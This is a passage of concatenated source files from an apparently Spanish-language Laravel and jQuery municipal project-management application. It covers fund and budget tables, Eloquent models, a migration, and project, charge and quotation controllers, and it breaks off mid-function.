function(e){ e.preventDefault(); var cat = $("#cat_id").val() || 0; var cat_nombre = $("#cat_id option:selected").text() || 0; var cant_monto = $("#cant_monto").val() || 0; var existe = $("#cat_id option:selected"); if(cat && cant_monto){ monto+=parseFloat(cant_monto); contador_monto++; $(tbFondos).append( "<tr data-categoria='"+cat+"' data-monto='"+cant_monto+"'>"+ "<td>" + cat_nombre + "</td>" + "<td>" + onFixed( parseFloat(cant_monto), 2 ) + "</td>" + "<td><button type='button' id='delete-btn' class='btn btn-danger btn-xs'><span class='glyphicon glyphicon-trash'></button></td>" + "</tr>" ); monto_total=monto; $("#monto").val(onFixed(monto_total)); $("#contador_fondos").val(contador_monto); $("#pie_monto #totalEnd").text(onFixed(monto)); $(existe).css("display", "none"); $("#cant_monto").val(""); $("#cat_id").val(""); $("#cat_id").trigger('chosen:updated'); }else{ swal( '¡Aviso!', 'Debe seleccionar una categoría y digitar el monto', 'warning' ) } }); $("#verfondos").on("click", function(ev){ $("#cuerpo_fondos").empty(); var idp= $("#idp").val(); //var monto_total=$("#monto").val(); cargarFondos(); var datos = $.get('/'+carpeta()+'/public/contratoproyectos/getMontos/'+ idp , function(data){ for(var i=0;i<data.length;i++){ var dataJson = JSON.stringify({ id: data[i].fondocat.id, monto: data[i].monto }) monto+= parseFloat(data[i].monto); $(tbFondos).append( "<tr data-categoria='"+data[i].id+"' data-monto='"+data[i].monto+"'>"+ "<td>" + data[i].fondocat.categoria + "</td>" + "<td>" + data[i].monto + "</td>" + "<td class='btn-group'><button type='button' id='delete-from-base' class='btn btn-danger btn-xs'><span class='glyphicon glyphicon-trash'></button>" + "<button data-data="+ dataJson +" type='button' id='edit-form' class='btn btn-primary btn-xs'><span class='glyphicon glyphicon-edit'></button></td>" + "</tr>" ); } monto_total=monto; $("#pie_monto #totalEnd").text(onFixed(parseFloat(monto),2)); //$(existe).css("display", "none"); }); }); //agrega nueva categoria de los montos para luego seleccionarla $('#guardarcategoria').on("click", function(e){ var cate = $("#cate").val(); var categoria = cate.toUpperCase(); var ruta = "/"+carpeta()+"/public/contratoproyectos/guardarcategoria"; var token = $('meta[name="csrf-token"]').attr('content'); //alert(nombre); $.ajax({ url: ruta, headers: {'X-CSRF-TOKEN':token}, type:'POST', dataType:'json', data:{categoria}, success: function(){ toastr.success('categoria creado éxitosamente'); $("#cate").val(""); cargarFondos(); $("#cat_id").trigger('chosen:updated'); $("#btncategoria").modal("hide"); }, error : function(data){ toastr.error(data.responseJSON.errors.categoria); } }); }); $('#btnsubmit').on("click", function(e){ var ruta = "/"+carpeta()+"/public/contratoproyectos"; var token = $('meta[name="csrf-token"]').attr('content'); var tot=0.0; var montos = new Array(); var montosorg = new Array(); var nombre = $("#nombre").val(); var monto = $("#monto").val(); var direccion = $("#direccion").val(); var motivo = $("#motivo").val(); var fecha_inicio = $("#fecha_inicio").val(); var fecha_fin = $("#fecha_fin").val(); var beneficiarios = $("#beneficiarios").val(); $(cuerpo_fondos).find("tr").each(function (index, element) { if(element){ montos.push({ categoria : $(element).attr("data-categoria"), monto : $(element).attr("data-monto") }); } }); console.log(montos); $.ajax({ url: ruta, headers: {'X-CSRF-TOKEN':token}, type:'POST', dataType:'json', data:{nombre,monto,motivo,direccion,fecha_inicio,fecha_fin,beneficiarios,montos,montosorg}, success: function(msj){ window.location.href = "/"+carpeta()+"/public/contratoproyectos"; console.log(msj); toastr.success('Proyecto creado éxitosamente'); }, error: function(data, textStatus, errorThrown){ toastr.error('Ha ocurrido un '+textStatus+' en la solucitud'); $.each(data.responseJSON.errors, function( key, value ) { toastr.error(value); }); } }); }); //elimina un elemento de la tabla temporal de fondos y actualiza el monto total $(document).on("click", "#delete-btn", function (e) { var tr = $(e.target).parents("tr"), totaltotal = $("#totalEnd"); var totalFila=parseFloat($(this).parents('tr').find('td:eq(1)').text()); monto = parseFloat(totaltotal.text()) - parseFloat(totalFila); monto_total=monto_total-parseFloat(totalFila); quitar_mostrar($(tr).attr("data-categoria")); tr.remove(); $("#monto").val(onFixed(monto_total)); $("#pie_monto #totalEnd").text(onFixed(monto)); contador_monto--; $("#contador_fondos").val(contador_monto); }); $(document).on("click", "#delete-from-base", function (e) { var tr = $(e.target).parents("tr"), totaltotal = $("#totalEnd"); var id = $(this).parents('tr').find('td:eq(0)').text(); var totalFila=parseFloat($(this).parents('tr').find('td:eq(1)').text()); monto = parseFloat(totaltotal.text()) - parseFloat(totalFila); monto_total=monto_total-parseFloat(totalFila); deletebase(id); quitar_mostrar($(tr).attr("data-categoria")); tr.remove(); $("#monto").val(onFixed(monto_total)); $("#pie_monto #totalEnd").text(onFixed(monto)); contador_monto--; $("#contador_fondos").val(contador_monto); }); $(document).on("click", "#edit-form", function (e) { var data = JSON.parse($(e.currentTarget).attr('data-data')); $(document).find("#cat_id").val(data.id) $(document).find("#cant_monto").val(data.monto); }); }); //funcion que formatea los valores enteros a 2 decimales function onFixed (valor, maximum) { maximum = (!maximum) ? 2 : maximum; return valor.toFixed(maximum); } function cargarFondos(){ $.get('/'+carpeta()+'/public/contratoproyectos/listarfondos', function (data){ var html_select = '<option value="">Seleccione una categoria</option>'; for(var i=0;i<data.length;i++){ html_select +='<option value="'+data[i].id+'">'+data[i].categoria+'</option>' //console.log(data[i]); $("#cat_id").html(html_select); $("#cat_id").trigger('chosen:updated'); } }); } function quitar_mostrar (ID) { $("#cat_id option").each(function (index, element) { if($(element).attr("value") == ID ){ $(element).css("display", "block"); } }); $("#cat_id").trigger('chosen:updated'); } function deletebase(id) { $.ajax({ url: '/'+carpeta()+'/public/contratoproyectos/deleteMonto/'+id, headers: {'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')}, type:'DELETE', dataType:'json', data:{id}, success: function(msj){ //window.location.href = "/sisverapaz/public/proyectos"; console.log(msj); toastr.success('Monto eliminado éxitosamente'); }, error: function(data, textStatus, errorThrown){ toastr.error('Ha ocurrido un '+textStatus+' en la solucitud'); /*$.each(data.responseJSON.errors, function( key, value ) { toastr.error(value); });*/ console.log(data); } }); } function addbase(id,cat,monto) { $.ajax({ url: '/'+carpeta()+'/public/contratoproyectos/addMonto', headers: {'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')}, type:'POST', dataType:'json', data:{id,cat,monto}, success: function(msj){ //window.location.href = "/sisverapaz/public/proyectos"; console.log(msj); toastr.success('Monto agregado éxitosamente'); }, error: function(data, textStatus, errorThrown){ toastr.error('Ha ocurrido un '+textStatus+' en la solucitud'); /*$.each(data.responseJSON.errors, function( key, value ) { toastr.error(value); });*/ console.log(data); } }); } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class Tiposervicio extends Model { protected $guarded = []; public function servicio() { return $this->hasMany('App\Servicio'); } public function inmuebles() { return $this->belongsToMany('App\Inmueble')->withTimestamps(); } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class Pago extends Model { protected $guarded = []; public function tipopago() { return $this->belongsTo('App\Tipopago'); } public function cuentaproy() { return $this->belongsTo('App\Cuentaproy', 'cuenta_id'); } public function contribuyente() { return $this->belongsTo('App\Contribuyente'); } } <file_sep>module.exports = (app) => { app.config(($stateProvider, $urlRouterProvider) => { $stateProvider .state('app', { url: '/app', abstract: true, template: require('html-loader!./templates/app.html') }) .state('app.contribuyente', { url:'/contribuyente', controller: 'ContribuyeteController', template: require('html-loader!./templates/contribuyente/index.html') }) .state('app.contribuyenteitem', { url:'/{id}/contribuyente', controller: 'ContribuyeteItemController', resolve: { people: ['Restangular', '$stateParams', function(Restangular, $stateParams) { return Restangular.all('contribuyentes').customGET($stateParams.id) }] }, template: require('html-loader!./templates/contribuyente/item.html') }) $urlRouterProvider.otherwise(`/app/contribuyente`); }) }<file_sep>$(document).ready(function(){ var total=0.0; var contador = 0; var monto=0.0; var idpresupuesto = $("#presuid").val(); console.log(idpresupuesto); var it=$("#itemid").val(); listarcatalogo(idpresupuesto,it); listarunidades(); $("#agregaratabla").on("click", function(e) { // e.preventDefault(); catalogo = $("#catalogo").val() || 0, descripcion =$("#catalogo option:selected").text(), cantidad = $("#cantidad").val() || 0, unidad = $("#catalogo option:selected").attr('data-unidad'), monto = $("#monto").val(), existe = $("#catalogo option:selected"); precio = $("#precio").val() || 0; if(cantidad && precio && catalogo){ var subtotal = parseFloat(precio) * parseFloat(cantidad); var dataJson = JSON.stringify({ catalogo: parseInt(catalogo),precio: precio,cantidad:cantidad }) //console.log(dataJson); contador++; $(tbMaterial).append( "<tr data-catalogo='"+catalogo+"' data-cantidad='"+cantidad+"' data-precio='"+precio+"' >"+ "<td>" + descripcion + "</td>" + "<td>" + unidad + "</td>" + "<td>" + cantidad+ "</td>" + "<td> $" + precio + "</td>" + "<td>" + onFixed( subtotal, 2 ) + "</td>" + "<td>"+ "<div class='btn-group'>"+ "<button data-data="+dataJson+" type='button' id='edit-btn' class='btn btn-warning btn-xs'><span class='glyphicon glyphicon-edit'></span></button>"+ "<button type='button' id='delete-btn' class='btn btn-danger btn-xs'><span class='glyphicon glyphicon-remove'></span></button>"+ "</div>"+ "</td>" + "</tr>" ); total +=( parseFloat(cantidad) * parseFloat(precio) ); $("#total").val(onFixed(total)); $("#contador").val(contador); $("#pie #totalEnd").text(onFixed(total)); $(existe).css("display", "none"); $("#catalogo").val(""); $("#catalogo").trigger('chosen:updated'); clearForm(); }else{ swal( '¡Aviso!', 'Debe llenar todos los campos', 'warning' ) } }); $(document).on("click", "#delete-btn", function (e) { var tr = $(e.target).parents("tr"), totaltotal = $("#totalEnd"); var totalFila=parseFloat($(this).parents('tr').find('td:eq(4)').text()); total = parseFloat(totaltotal.text()) - parseFloat(totalFila); quitar_mostrar($(tr).attr("data-catalogo")); tr.remove(); $("#total").val(onFixed(total)); $("#pie #totalEnd").text(onFixed(total)); contador--; $("#contador").val(contador); }); $(document).on("click","#edit-btn", function(e){ //obtener los datos de un json y enviarlos al formulario var data = JSON.parse($(e.currentTarget).attr('data-data')); $(document).find("#catalogo").val(data.catalogo); $(document).find("#cantidad").val(data.cantidad); $(document).find("#precio").val(data.precio); $("#catalogo").trigger('chosen:updated'); //quitar la fila de la tabla estableciendo el nuevo total temporal antes de la edición var tr = $(e.target).parents("tr"), totaltotal = $("#totalEnd"); var totalFila=parseFloat($(this).parents('tr').find('td:eq(4)').text()); total = parseFloat(totaltotal.text()) - parseFloat(totalFila); tr.remove(); $("#total").val(onFixed(total)); $("#pie #totalEnd").text(onFixed(total)); }); $("#btnsubmit").on("click", function (e) { ////// obtener todos los datos y convertirlos a json ///////////////////////////////////////////// if(total>monto){ swal( '¡Aviso!', 'El total supera al monto del proyecto', 'warning' ) }else{ guardar_presupuesto(); } }); $("#guardarunidades").on("click",function(e){ guardarunidades(); }); $("#guardarcatalogo").on("click",function(e){ guardar_descripcion(); }); }); function listarcatalogo(idp,idc){ $.get('/'+carpeta()+'/public/presupuestodetalles/getcatalogo/'+idp+'/'+idc, function (data){ var html_select = '<option value="">Seleccione un catalogo</option>'; //console.log(data.length); for(var i=0;i<data.length;i++){ html_select +='<option data-unidad="'+data[i].unidad_medida+'" value="'+data[i].id+'">'+data[i].nombre+'</option>' //console.log(data[i]); $("#catalogo").html(html_select); $("#catalogo").trigger('chosen:updated'); } }); } function listarunidades(){ $.get('/'+carpeta()+'/public/presupuestos/getunidades', function(data){ var html_select = '<option value="">Seleccione una unidad de medida</option>'; for(var i=0;i<data.length;i++){ html_select +='<option value="'+data[i].nombre_medida+'">'+data[i].nombre_medida+'</option>' //console.log(data[i]); $("#txtunidad").html(html_select); $("#txtunidad").trigger('chosen:updated'); } }); } function guardar_descripcion() { var nombre_descripcion = $("#txtdescripcion").val(); var unidad_medida = $("#txtunidad").val(); var categoria_id = $("#categoria_id").val(); var nombre = nombre_descripcion.toUpperCase(); var idpresupuesto = $("#presuid").val(); var it=$("#itemid").val(); var token = $('meta[name="csrf-token"]').attr('content'); var ruta = '/'+carpeta()+'/public/presupuestos/guardardescripcion'; $.ajax({ url: ruta, headers: {'X-CSRF-TOKEN':token}, type:'POST', dataType:'json', data: {nombre,unidad_medida,categoria_id}, success : function(msj){ //window.location.href = "/sisverapaz/public/proyectos"; console.log(msj.mensaje); if(msj.mensaje === "exito") { toastr.success('Catalogo registrado éxitosamente'); $("#txtdescripcion").val(""); $("#txtunidad").val(""); listarcatalogo(idpresupuesto,it); }else{ toastr.error('Ocurrió un error al guardar'); } }, error: function(data, textStatus, errorThrown){ toastr.error('Ha ocurrido un '+textStatus+' en la solucitud'); $.each(data.responseJSON.errors, function( key, value ) { toastr.error(value); }); } }); } function guardarunidades(){ var unidad = $("#txtnombreunidades").val(); var nombre_medida = unidad.toUpperCase(); var token = $('meta[name="csrf-token"]').attr('content'); var ruta = '/'+carpeta()+'/public/unidadmedidas'; $.ajax({ url: ruta, headers: {'X-CSRF-TOKEN':token}, type:'POST', dataType:'json', data: {nombre_medida}, success : function(msj){ //console.log(msj.mensaje); if(msj.mensaje === "exito") { toastr.success('Unidad de medida registrado éxitosamente'); $("#txtnombreunidades").val(""); listarunidades(); $("#txtunidad").trigger('chosen:updated'); }else{ toastr.error('Ocurrió un error al guardar'); } }, error: function(data, textStatus, errorThrown){ toastr.error('Ha ocurrido un '+textStatus+' en la solucitud'); $.each(data.responseJSON.errors, function( key, value ) { toastr.error(value); }); } }); } function onFixed (valor, maximum) { maximum = (!maximum) ? 2 : maximum; return valor.toFixed(maximum); } function clearForm () { $("#presupuestodetalle").find("#precio,#cantidad").each(function (index, element) { $(element).val(""); }); } function quitar_mostrar (ID) { $("#catalogo option").each(function (index, element) { if($(element).attr("value") == ID ){ $(element).css("display", "block"); } }); $("#catalogo").trigger('chosen:updated'); } function guardar_presupuesto(){ var ruta = "/"+carpeta()+"/public/presupuestodetalles"; var token = $('meta[name="csrf-token"]').attr('content'); var total = $("#total").val(); var presupuesto_id = $("#presuid").val(); var presupuestos = new Array(); $(cuerpo).find("tr").each(function (index, element) { if(element){ presupuestos.push({ catalogo: $(element).attr("data-catalogo"), cantidad :$(element).attr("data-cantidad"), precio : $(element).attr("data-precio") }); } }); console.log(presupuestos); /////////////////////////////////////////////////// funcion ajax para guardar /////////////////////////////////////////////////////////////////// $.ajax({ url: ruta, headers: {'X-CSRF-TOKEN':token}, type:'POST', dataType:'json', data: {presupuesto_id,total,presupuestos}, success : function(msj){ window.location.href = "/"+carpeta()+"/public/presupuestos/"+msj.id; console.log(msj); toastr.success('Presupuesto registrado éxitosamente'); }, error: function(data, textStatus, errorThrown){ toastr.error('Ha ocurrido un '+textStatus+' en la solucitud'); $.each(data.responseJSON.errors, function( key, value ) { toastr.error(value); }); } }); } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Requests\CargoRequest; use App\Cargo; use Carbon\Carbon; use App\Bitacora; class CargoController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth'); } public function index() { $cargos = Cargo::all(); return view('cargos.index',compact('cargos')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { return view('cargos.create'); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(CargoRequest $request) { Cargo::create($request->All()); return redirect('cargos')->with('mensaje', 'Cargo registrado'); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $cargo = Cargo::findorFail($id); return view('cargos.show',compact('cargo')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $cargo = Cargo::findorFail($id); return view('cargos.edit',compact('cargo')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(CargoRequest $request, $id) { $cargo = Cargo::find($id); $cargo->fill($request->All()); $cargo->save(); bitacora('Modificó Cargo'); return redirect('/cargos')->with('mensaje','Registro modificado'); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } public function baja($cadena) { $datos = explode("+", $cadena); $id = $datos[0]; $motivo = $datos[1]; $cargo = Cargo::find($id); $cargo->estado = 2; $cargo->motivo = $motivo; $cargo->save(); bitacora('Dió de baja cargo'); return redirect('/cargos')->with('mensaje','Cargo dado de baja'); } public function alta($id) { $cargo = Cargo::find($id); $cargo->estado = 1; $cargo->motivo = ""; $cargo->save(); Bitacora:bitacora('Dió de alta un cargo'); return redirect('/cargos')->with('mensaje', 'Cargo dado de alta'); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Proyecto; use App\Organizacion; use App\Bitacora; use App\Presupuesto; use App\Presupuestodetalle; use App\Fondocat; use App\Fondo; use App\Fondoorg; use App\Cuentaproy; use App\Http\Requests\ProyectoRequest; use App\Http\Requests\FondocatRequest; use DB; class ProyectoController extends Controller { public function __construct() { $this->middleware('auth'); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index(Request $request) { $estado = $request->get('estado'); //if($estado == "" )$estado=1; if($estado == ""){ $proyectos = Proyecto::orderBy('id','asc')->get(); return view('proyectos.index',compact('proyectos','estado')); } if ($estado == 1) { $proyectos = Proyecto::where('estado',$estado)->orderBy('id','asc')->get(); return view('proyectos.index',compact('proyectos','estado')); } if ($estado == 2) { $proyectos = Proyecto::where('estado',$estado)->orderBy('id','asc')->get(); return view('proyectos.index',compact('proyectos','estado')); } } public function guardarOrganizacion(Request $request) { if($request->ajax()) { try{ Organizacion::create($request->All()); return response()->json([ 'mensaje' => 'Organización creada exitosamente' ]); }catch(\Exception $e){ return response()->json([ 'mensaje' => 'error' ]); } } } public function guardarCategoria(FondocatRequest $request) { if($request->ajax()) { try{ Fondocat::create($request->All()); return response()->json([ 'mensaje' => 'Organización creada exitosamente' ]); }catch(\Exception $e){ return response()->json([ 'mensaje' => 'error' ]); } } } public function listarOrganizaciones() { return Organizacion::get(); } public function listarFondos() { return Fondocat::get(); } public function getMontos($id) { /*return $categorias = DB::table('fondocats') ->whereExists(function ($query) use ($id) { $query->from('fondos') ->whereRaw('fondos.fondocat_id = fondocats.id') ->whereRaw('fondos.proyecto_id ='.$id); })->get();*/ return Fondo::where('proyecto_id',$id)->with('fondocat','proyecto')->get(); } public function deleteMonto($id) { if(isset($id)) { $fondo = Fondo::findorFail($id); $fondo->delete(); return response()->json([ 'mensaje' => 'exito' ]); } } public function addMonto(Request $request) { if($request->Ajax()) { Fondo::create([ 'proyecto_id' => $request->id, 'fondocat_id' => $request->cat, 'monto' => $request->monto, ]); return response()->json([ 'mensaje' => $request->All() ]); } } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $organizaciones = Organizacion::all(); return view('proyectos.create',compact('organizaciones')); //return view('proyectos.create'); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(ProyectoRequest $request) { if($request->ajax()) { DB::beginTransaction(); try{ $montosorg = $request->montosorg; $montos = $request->montos; $proyecto = Proyecto::create([ 'nombre' => $request->nombre, 'monto' => $request->monto, 'direccion' => $request->direccion, 'fecha_inicio' => invertir_fecha($request->fecha_inicio), 'fecha_fin' => invertir_fecha($request->fecha_fin), 'motivo' => $request->motivo, 'beneficiarios' => $request->beneficiarios, ]); if(isset($montos)) { foreach ($montos as $monto) { Fondo::create([ 'proyecto_id' => $proyecto->id, 'fondocat_id' => $monto['categoria'], 'monto' => $monto['monto'], ]); } } Cuentaproy::create([ 'proyecto_id' => $proyecto->id, 'monto_inicial' => $request->monto, ]); bitacora('Registró un proyecto'); DB::commit(); return response()->json([ 'mensaje' => 'exito' ]); }catch (\Exception $e){ DB::rollback(); return response()->json([ 'mensaje' => $e->getMessage() ]); } } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $proyecto = Proyecto::findorFail($id); //$presupuesto = Presupuesto::where('proyecto_id',$proyecto->id)->get()->first(); return view('proyectos.show', compact('proyecto')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $proyecto = Proyecto::find($id); $organizaciones = Organizacion::all(); return view('proyectos.edit',compact('proyecto','organizaciones')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(ProyectoRequest $request, $id) { try{ $proyecto = Proyecto::findorFail($id); $proyecto->nombre=$request->nombre; $proyecto->monto=$request->monto; $proyecto->motivo=$request->motivo; $proyecto->fecha_inicio=invertir_fecha($request->fecha_inicio); $proyecto->fecha_fin=invertir_fecha($request->fecha_fin); $proyecto->direccion=$request->direccion; $proyecto->beneficiarios=$request->beneficiarios; $proyecto->save(); bitacora('Modificó un Proyecto'); return redirect('/proyectos')->with('mensaje','Registro modificado con éxito'); }catch(\Exception $e){ return redirect('proyectos/'.$id.'/edit')->with('error','Ocurrió un error. contacte al administrador'); } } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } public function baja($cadena) { try{ $datos = explode("+", $cadena); $id=$datos[0]; $motivo=$datos[1]; $proyecto = Proyecto::find($id); $proyecto->estadoanterior=$proyecto->estado; $proyecto->estado=10; $proyecto->motivobaja=$motivo; $proyecto->fechabaja=date('Y-m-d'); $proyecto->save(); bitacora('Dió de baja a un proyecto'); return redirect('/proyectos')->with('mensaje','Proyecto dado de baja'); }catch(\Exception $e){ return redirect('/proyectos')->with('error','Ocurrió un error, contacte al administrador'); } } public function alta($id) { try{ $proyecto = Proyecto::find($id); $proyecto->estado=$proyecto->estadoanterior; $proyecto->motivobaja=null; $proyecto->fechabaja=null; $proyecto->estadoanterior=null; $proyecto->save(); Bitacora::bitacora('Dió de alta a un proyecto'); return redirect('/proyectos')->with('mensaje','Proyecto dado de alta'); }catch(\Exception $e){ return redirect('/proyectos')->with('error','Ocurrió un error, contacte al administrador'); } } } <file_sep><?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddDuiToConfiguracionsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('configuracions', function (Blueprint $table) { $table->string('nombre_alcalde')->nullable(); $table->date('nacimiento_alcalde')->nullable(); $table->string('oficio_alcalde')->nullable(); $table->string('domicilio_alcalde')->nullable(); $table->string('dui_alcalde')->nullable(); $table->string('nit_alcalde')->nullable(); $table->date('inicio_periodo')->nullable(); $table->date('fin_periodo')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('configuracions', function (Blueprint $table) { $table->dropColumn('nombre_alcalde'); $table->dropColumn('nacimiento_alcalde'); $table->dropColumn('oficio_alcalde'); $table->dropColumn('domicilio_alcalde'); $table->dropColumn('dui_alcalde'); $table->dropColumn('nit_alcalde'); $table->dropColumn('inicio_periodo'); $table->dropColumn('fin_periodo'); }); } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class Presupuestodetalle extends Model { protected $guarded = []; public $timestamps = false; public function presupuesto() { return $this->belongsTo('App\Presupuesto'); } public function catalogo() { return $this->belongsTo('App\Catalogo')->orderBy('nombre','asc'); } public function categoria() { return $this->belongsTo('App\Categoria')->orderBy('nombre'); } } <file_sep>$(document).ready(function(){ $('#calendario').fullCalendar({ dayClick: function(fecha, jsEvent){ $("#exampleModal").modal("show"); console.log(fecha) $("#btnSubmit").on("click", function(event){ var evento = $("#eventoId").val(); var descripcion = $("#descripcion").val(); var fechaInicio = new Date(fecha); fechaInicio = fechaInicio.getFullYear() + '-' + fechaInicio.getMonth() + '-' + fechaInicio.getDay(); $.ajax({ method: 'GET', url: '/sisverapaz/public/AddCalendarizaciones', data: { evento: evento, descripcion: descripcion, updated_at: fechaInicio, created_at: fechaInicio } }).then(function(json){ }) }) /*$("#fecha").val(fecha.format()); var event = { id: 1 , title: 'Nuevo evento', start: fecha}; $('#calendario').fullCalendar( 'renderEvent', event, true);*/ }, weekends: false, editable: true, lang:'es' }); });<file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Proyecto; use App\Proveedor; use App\Cotizacion; use App\Detallecotizacion; use App\Bitacora; use App\Presupuesto; use App\Presupuestodetalle; use App\PresupuestoSolicitud; use DB; use App\Http\Requests\CotizacionRequest; class CotizacionController extends Controller { public function __construct() { $this->middleware('auth'); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index(Request $request) { $estado = $request->get('estado'); $soli=$request->get('solicitud'); if($estado == "" ){ $solicitud=PresupuestoSolicitud::findorFail($soli); $cotizaciones = Cotizacion::where('presupuestosolicitud_id',$solicitud->id)->get(); return view ('cotizaciones.index',compact('cotizaciones','estado','solicitud')); } if ($estado == 1) { $cotizaciones = Cotizacion::where('estado',$estado)->get(); return view('cotizaciones.index',compact('cotizaciones','estado')); } if ($estado == 2) { $cotizaciones = Cotizacion::where('estado',$estado)->get(); return view('cotizaciones.index',compact('cotizaciones','estado')); } if ($estado == 3) { $cotizaciones = Cotizacion::where('estado',$estado)->get(); return view('cotizaciones.index',compact('cotizaciones','estado')); } } public function seleccionar(Request $request) { if($request->Ajax()) { DB::beginTransaction(); try{ $cotizacion=Cotizacion::findorFail($request->idcot); $cotizacion->seleccionado=true; $cotizacion->estado=2; $cotizacion->save(); //$proyecto=Proyecto::findorFail($request->idproy); //$proyecto->estado=6; //$proyecto->save(); $solicitud=PresupuestoSolicitud::findorFail($cotizacion->presupuestosolicitud->id); $solicitud->estado=3; $solicitud->save(); $pre=Presupuesto::where('proyecto_id',$request->idproy)->get(); foreach ($pre as $presi) { $soli=PresupuestoSolicitud::where('estado',2)->where('presupuesto_id',$presi->id)->count(); } if($soli==0){ $proyecto=Proyecto::findorFail($request->idproy); $proyecto->estado=6; $proyecto->save(); } DB::commit(); return response()->json([ 'mensaje' => 'exito', 'id' => $cotizacion->presupuestosolicitud->presupuesto->proyecto->id ]); }catch(\Exception $e){ DB::rollback(); return response()->json([ 'mensaje' => $e->getMessage() ]); } } } public function cuadros() { $proyectos = Proyecto::where('estado',5)->where('pre',true)->get(); return view('cotizaciones.cuadros',compact('proyectos')); } public function realizarCotizacion($id) { $proveedores = Proveedor::where('estado',1)->get(); $solicitud=PresupuestoSolicitud::findorFail($id); //dd($solicitud->presupuesto->proyecto->id); $presu=Presupuesto::where('proyecto_id',$solicitud->presupuesto->proyecto->id)->where('categoria_id',$solicitud->categoria_id)->firstorFail(); //dd($presu); $presupuestos = Presupuestodetalle::where('presupuesto_id',$presu->id)->get(); //dd($presupuestos); return view('cotizaciones.create',compact('proveedores','presupuestos','solicitud')); } public function cotizar($id) { //return $cotizaciones = Cotizacion::where('proyecto_id',$id)->with('proveedor')->get(); //$proyecto = Proyecto::where('estado',5)->where('pre',true)->findorFail($id); //$presupuesto=Presupuesto::where('proyecto_id',$proyecto->id)->first(); $solicitud = PresupuestoSolicitud::where('estado',2)->findorFail($id); $presupuesto=Presupuesto::findorFail($solicitud->presupuesto->id); $detalles = Presupuestodetalle::where('presupuesto_id',$presupuesto->id)->get(); $cotizaciones = Cotizacion::where('presupuestosolicitud_id',$solicitud->id)->with('detallecotizacion')->get(); return view('cotizaciones.cotizar',compact('presupuesto','cotizaciones','detalles')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $proyectos = Proyecto::where('estado',3)->where('presupuesto',true)->get(); $proveedores = Proveedor::where('estado',1)->get(); $cotizaciones = Cotizacion::all(); return view('cotizaciones.create',compact('proyectos','proveedores','cotizaciones')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { //dd($request->All()); DB::beginTransaction(); try { $presupuesto = Presupuesto::where('proyecto_id',$request->proyecto_id)->first(); $count = count($request->precios); $cotizacion = Cotizacion::create([ 'proveedor_id' => $request->proveedor, 'presupuestosolicitud_id' => $request->id, 'descripcion' => $request->descripcion, ]); for($i=0;$i<$count;$i++) { Detallecotizacion::create([ 'cotizacion_id' => $cotizacion->id, 'descripcion' => $request->descripciones[$i], 'marca' => $request->marcas[$i], 'unidad_medida' => $request->unidades[$i], 'cantidad' => $request->cantidades[$i], 'precio_unitario' => $request->precios[$i], ]); } $solicitud=PresupuestoSolicitud::findorFail($request->id); DB::commit(); bitacora('Registró una cotización'); return redirect('solicitudcotizaciones/versolicitudes/'.$solicitud->presupuesto->proyecto->id)->with('mensaje','Registro almacenado con éxito'); }catch (\Exception $e){ DB::rollback(); return redirect('cotizaciones/create')->with('error',$e->getMessage()); } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $cotizacion = Cotizacion::where('estado',1)->findorFail($id); return view('cotizaciones.show', compact('cotizacion')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $cotizacion = Cotizacion::findorFail($id); return view('cotizaciones.edit',compact('cotizacion')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(CotizacionRequest $request, $id) { try{ $cotizacion = Cotizacion::findorFail($id); $cotizacion->fill($request->All()); $cotizacion->save(); bitacora('Modificó una cotización'); return redirect('/cotizaciones')->with('mensaje','Registro modificado con éxito'); }catch(\Exception $e){ return redirect('/cotizaciones/create')->with('error','Ocurrió un error, contacte al administrador'); } } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } public function baja($cadena) { try{ $datos = explode("+", $cadena); $id=$datos[0]; $motivo=$datos[1]; $cotizacion = Cotizacion::find($id); $cotizacion->estado=2; $cotizacion->motivo=$motivo; $cotizacion->fechabaja=date('Y-m-d'); $cotizacion->save(); bitacora('Dió de baja a un cotizacion'); return 